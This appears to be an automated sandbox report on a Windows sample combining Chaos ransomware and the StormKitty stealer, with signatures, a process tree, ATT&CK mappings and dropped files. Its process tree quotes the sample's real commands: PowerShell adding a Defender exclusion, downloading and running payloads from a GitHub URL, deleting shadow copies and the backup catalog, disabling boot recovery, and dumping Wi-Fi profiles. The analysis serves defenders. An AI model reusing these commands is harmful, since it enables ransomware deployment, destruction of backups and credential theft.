Overview

overview

10

Static

static

5

ZGZ3X_nig.exe

windows7-x64

6

ZGZ3X_nig.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    93s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2025, 05:53

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General

  • Target
    ZGZ3X_nig.exe
  • Size 57KB
  • Sample250322-glcccayxds
  • SHA256 568d485f89554f0a315d1f839e5e2b33c7735f9b3dc3892391bdaa16a3f480e8
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
chaosstormkittycollectiondefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealerupx

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

    ransomwarechaos
  • Chaos Ransomware 2 IoCs
  • Chaos family
    chaos
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • Stormkitty family
    stormkitty
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 4 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 64 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ZGZ3X_nig.exe
    "C:\Users\Admin\AppData\Local\Temp\ZGZ3X_nig.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\610C.tmp\610D.tmp\610E.bat C:\Users\Admin\AppData\Local\Temp\ZGZ3X_nig.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1420
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:1872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/build.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\build.exe\" -ErrorAction Stop"
          3⤵
          • Blocklisted process makes network request
          • Downloads MZ/PE file
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/kernelv.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\kernelv.exe\" -ErrorAction Stop"
          3⤵
          • Blocklisted process makes network request
          • Downloads MZ/PE file
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3792
        • C:\Users\Admin\AppData\Local\Temp\build.exe
          "C:\Users\Admin\AppData\Local\Temp\build.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Users\Admin\AppData\Roaming\svchost.exe
            "C:\Users\Admin\AppData\Roaming\svchost.exe"
            4⤵
            • Checks computer location settings
            • Drops startup file
            • Executes dropped EXE
            • Drops desktop.ini file(s)
            • Sets desktop wallpaper using registry
            • Modifies registry class
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2828
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4292
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                6⤵
                • Interacts with shadow copies
                PID:624
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic shadowcopy delete
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3124
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1680
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:3528
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled no
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:1308
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3900
              • C:\Windows\system32\wbadmin.exe
                wbadmin delete catalog -quiet
                6⤵
                • Deletes backup catalog
                PID:3448
            • C:\Windows\system32\NOTEPAD.EXE
              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\readme.txt
              5⤵
              • Opens file in notepad (likely ransom note)
              PID:1728
        • C:\Users\Admin\AppData\Local\Temp\kernelv.exe
          "C:\Users\Admin\AppData\Local\Temp\kernelv.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:3412
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4400
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3716
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4944
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4260
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 2472
            4⤵
            • Program crash
            PID:232
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4004
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2844
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show networks mode=bssid
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:3960
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
          3⤵
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4700
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3412 -ip 3412
      1⤵
        PID:3804
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1476
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:796
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:116
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:4904

        Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Management Instrumentation

              1
              T1047

              Persistence

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Privilege Escalation

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Defense Evasion

              Direct Volume Access

              1
              T1006

              Hide Artifacts

              1
              T1564

              Ignore Process Interrupts

              1
              T1564.011

              Indicator Removal

              3
              T1070

              File Deletion

              3
              T1070.004

              Modify Registry

              1
              T1112

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Browser Information Discovery

              1
              T1217

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              4
              T1012

              System Information Discovery

              4
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Wi-Fi Discovery

              1
              T1016.002

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Email Collection

              1
              T1114

              Command and Control

              Exfiltration

              Impact

              Defacement

              1
              T1491

              Inhibit System Recovery

              4
              T1490

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              2012_x64_1_vcRuntimeAdditional_x64.log
              • Path C:\Users\Admin\2012_x64_1_vcRuntimeAdditional_x64.log
              • Size 1B
              • SHA256 8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
              • MD5 SHA1 SHA512
              Submit Download

              build.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\build.exe.log
              • Size 226B
              • SHA256 2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
              • MD5 SHA1 SHA512
              Submit Download

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 98d17949831dda7243aa8b24a66443eee75d0805996826290fbe1a75bfc79e72
              • MD5 SHA1 SHA512
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 7550ba7b917b7671dcb9783f7acb31854880f1fa845d7496ad27e013d70f4364
              • MD5 SHA1 SHA512
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 df3e0f7f7ef55cb398b3c25cdc9d0aa5a2868b5ab528d121b4e0146c1fb4b6fb
              • MD5 SHA1 SHA512
              Submit Download

              FirefoxBookmarks.txt
              • Path C:\Users\Admin\AppData\Local\Temp\212.102.63.147\Browsers\Firefox\FirefoxBookmarks.txt
              • Size 81B
              • SHA256 e5fe7f327ae62df007bd1117aa7f522dbbcd371ec67953f66d786424cb1d7995
              • MD5 SHA1 SHA512
              Submit Download

              Process.txt
              • Path C:\Users\Admin\AppData\Local\Temp\212.102.63.147\System\Process.txt
              • Size 1KB
              • SHA256 62457dcf70b8b1c72574ed4acfa8041830554bb005f72564efa8b4d7e5815b02
              • MD5 SHA1 SHA512
              Submit Download

              610E.bat
              • Path C:\Users\Admin\AppData\Local\Temp\610C.tmp\610D.tmp\610E.bat
              • Size 2KB
              • SHA256 aa58e1df5882878a44687853f47d10b655c3fe888ec20fb99446305f5d38c681
              • MD5 SHA1 SHA512
              Submit Download

              __PSScriptPolicyTest_55yv0lv5.2wm.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55yv0lv5.2wm.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512
              Submit Download

              build.exe
              • Path C:\Users\Admin\AppData\Local\Temp\build.exe
              • Size 137KB
              • SHA256 466a92e378a95752870abddd6af278fba89c5fef2cb3adfe2c4c114b9bd7cd93
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              kernelv.exe
              • Path C:\Users\Admin\AppData\Local\Temp\kernelv.exe
              • Size 211KB
              • SHA256 b58d783278e142a6242ff79712a1af504098c9a930271419bbf381caf45e29c4
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              readme.txt
              • Path C:\Users\Admin\readme.txt
              • Size 780B
              • SHA256 a66f43f9660c0b16c59eb22b1037c19af06f89d875344446cc63e90437f78fab
              • MD5 SHA1 SHA512
              Submit Download

              memory/1868-0-0x0000000140000000-0x0000000140028000-memory.dmp
              Download

              memory/1868-42-0x0000000140000000-0x0000000140028000-memory.dmp
              Download

              memory/1868-65-0x0000000140000000-0x0000000140028000-memory.dmp
              Download

              memory/2024-49-0x00000000008E0000-0x0000000000908000-memory.dmp
              Download

              memory/2576-18-0x00007FFBBC540000-0x00007FFBBD001000-memory.dmp
              Download

              memory/2576-15-0x00007FFBBC540000-0x00007FFBBD001000-memory.dmp
              Download

              memory/2576-14-0x00007FFBBC540000-0x00007FFBBD001000-memory.dmp
              Download

              memory/2576-9-0x0000024704A60000-0x0000024704A82000-memory.dmp
              Download

              memory/2576-3-0x00007FFBBC543000-0x00007FFBBC545000-memory.dmp
              Download

              memory/3412-64-0x00000000048E0000-0x00000000048F2000-memory.dmp
              Download

              memory/3412-66-0x0000000004AD0000-0x0000000004C92000-memory.dmp
              Download

              memory/3412-67-0x0000000005A50000-0x0000000005F7C000-memory.dmp
              Download

              memory/3412-68-0x0000000006400000-0x0000000006466000-memory.dmp
              Download

              memory/3412-69-0x0000000006610000-0x00000000066A2000-memory.dmp
              Download

              memory/3412-120-0x00000000070C0000-0x0000000007664000-memory.dmp
              Download

              memory/3412-62-0x00000000000D0000-0x000000000010C000-memory.dmp
              Download